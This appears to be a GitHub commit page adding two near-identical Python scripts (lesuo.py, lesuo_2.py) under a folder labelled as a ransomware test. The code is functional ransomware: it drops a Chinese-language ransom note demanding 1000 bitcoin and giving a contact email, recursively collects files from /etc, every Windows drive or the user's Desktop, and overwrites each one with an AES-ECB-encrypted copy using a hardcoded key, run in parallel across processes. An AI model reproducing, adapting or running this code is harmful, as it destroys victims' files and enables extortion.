Skip to content

Commit 9075c57

Browse files
authored
Add files via upload
1 parent ed55eb0 commit 9075c57

2 files changed

Lines changed: 200 additions & 0 deletions

File tree

勒索病毒测试/lesuo.py

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
#author:九世
2+
#time:2019/5/5
3+
4+
import gevent
5+
from gevent import monkey;monkey.patch_all()
6+
from Crypto.Cipher import AES
7+
from multiprocessing import Process
8+
import base64
9+
import binascii
10+
import platform
11+
import os
12+
import re
13+
14+
flst=[]
15+
file=[]
16+
class Jiami:
17+
def __init__(self,key):
18+
self.key=key
19+
20+
def zhu(self):
21+
syst=platform.system()
22+
if syst=='Linux':
23+
dk=open('/root/demos/lesuo.txt','w',encoding='utf-8')
24+
dk.write('你的电脑已被加密,请在三天之内转1000比特币到制定账户\n请联系[email protected]')
25+
dk.close()
26+
file.append('/etc')
27+
elif syst=='Windows':
28+
dk=open('C:/lesuo.txt','w',encoding='utf-8')
29+
dk.write('你的电脑已被加密,请在三天之内转1000比特币到制定账户\n请联系[email protected]')
30+
dk.close()
31+
for k in range(65,91):
32+
path='{}:'.format(chr(k))
33+
if os.path.exists(path):
34+
file.append(path)
35+
36+
for f in file:
37+
self.demo(f)
38+
39+
def demo(self,path):
40+
global flst
41+
if os.path.exists(path):
42+
jg = os.listdir(path)
43+
for i in jg:
44+
fn = path + '/' + i
45+
if os.path.isfile(fn):
46+
flst.append(fn)
47+
elif os.path.isdir(fn):
48+
self.demo(fn)
49+
50+
51+
52+
def encrypt(self,file):
53+
if 'lesuo.txt' in file:
54+
pass
55+
else:
56+
dk=open(file,'rb')
57+
text=dk.read()
58+
while len(text)%16!=0:
59+
text+=b'\0'
60+
else:
61+
text=text
62+
63+
text=binascii.hexlify(text)
64+
aes=AES.new(self.key,AES.MODE_ECB)
65+
jg=str(base64.encodebytes(aes.encrypt(text)),encoding='utf-8').replace('\n','')
66+
xj=open(file,'wb')
67+
xj.write(jg.encode('utf-8'))
68+
xj.close()
69+
print('[^] 加密成功:{}'.format(file))
70+
71+
def xc(self,rk):
72+
rwu=[]
73+
for s in rk:
74+
rwu.append(gevent.spawn(self.encrypt,s))
75+
gevent.joinall(rwu)
76+
77+
def djc(self):
78+
calc=0
79+
dg=[]
80+
for u in flst:
81+
if calc==5000:
82+
p=Process(target=self.xc,args=(dg,))
83+
p.start()
84+
calc=0
85+
dg.clear()
86+
dg.append(u)
87+
calc+=1
88+
89+
if len(dg)>0:
90+
p = Process(target=self.xc, args=(dg,))
91+
p.start()
92+
93+
if __name__ == '__main__':
94+
KEY='CE8D2AAC0CE1684C'
95+
obj=Jiami(key=KEY)
96+
obj.zhu()
97+
obj.djc()

勒索病毒测试/lesuo_2.py

Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
#author:九世
2+
#time:2019/5/5
3+
4+
import gevent
5+
from gevent import monkey;monkey.patch_all()
6+
from Crypto.Cipher import AES
7+
from multiprocessing import Process
8+
import base64
9+
import binascii
10+
import platform
11+
import os
12+
import re
13+
14+
flst=[]
15+
file=[]
16+
class Jiami:
17+
def __init__(self,key):
18+
self.key=key
19+
20+
def zhu(self):
21+
syst=platform.system()
22+
if syst=='Linux':
23+
dk=open('/root/demos/lesuo.txt','w',encoding='utf-8')
24+
dk.write('你的电脑已被加密,请在三天之内转1000比特币到制定账户\n请联系[email protected]')
25+
dk.close()
26+
file.append('/etc')
27+
elif syst=='Windows':
28+
dk=open('C:/lesuo.txt','w',encoding='utf-8')
29+
dk.write('你的电脑已被加密,请在三天之内转1000比特币到制定账户\n请联系[email protected]')
30+
dk.close()
31+
for k in range(65,91):
32+
path='{}:'.format(chr(k))
33+
if path=='C:':
34+
zx=os.popen('whoami')
35+
zz=re.findall(r'\\.*',zx.read())
36+
ps='C:/Users/{}/Desktop'.format(str(zz[0]).replace('\\',''))
37+
print(ps)
38+
file.append(ps)
39+
elif os.path.exists(path):
40+
file.append(path)
41+
42+
for f in file:
43+
self.demo(f)
44+
45+
def demo(self,path):
46+
global flst
47+
if os.path.exists(path):
48+
jg = os.listdir(path)
49+
for i in jg:
50+
fn = str(path) + '/' + str(i)
51+
if os.path.isfile(fn):
52+
flst.append(fn)
53+
elif os.path.isdir(fn):
54+
self.demo(fn)
55+
56+
57+
58+
def encrypt(self,file):
59+
if 'lesuo.txt' in file:
60+
pass
61+
else:
62+
dk=open(file,'rb')
63+
text=dk.read()
64+
while len(text)%16!=0:
65+
text+=b'\0'
66+
else:
67+
text=text
68+
69+
text=binascii.hexlify(text)
70+
aes=AES.new(self.key,AES.MODE_ECB)
71+
jg=str(base64.encodebytes(aes.encrypt(text)),encoding='utf-8').replace('\n','')
72+
xj=open(file,'wb')
73+
xj.write(jg.encode('utf-8'))
74+
xj.close()
75+
print('[^] 加密成功:{}'.format(file))
76+
77+
def xc(self,rk):
78+
rwu=[]
79+
for s in rk:
80+
rwu.append(gevent.spawn(self.encrypt,s))
81+
gevent.joinall(rwu)
82+
83+
def djc(self):
84+
calc=0
85+
dg=[]
86+
for u in flst:
87+
if calc==5000:
88+
p=Process(target=self.xc,args=(dg,))
89+
p.start()
90+
calc=0
91+
dg.clear()
92+
dg.append(u)
93+
calc+=1
94+
95+
if len(dg)>0:
96+
p = Process(target=self.xc, args=(dg,))
97+
p.start()
98+
99+
if __name__ == '__main__':
100+
KEY='CE8D2AAC0CE1684C'.encode('utf-8')
101+
obj=Jiami(key=KEY)
102+
obj.zhu()
103+
obj.djc()

0 commit comments

Comments
 (0)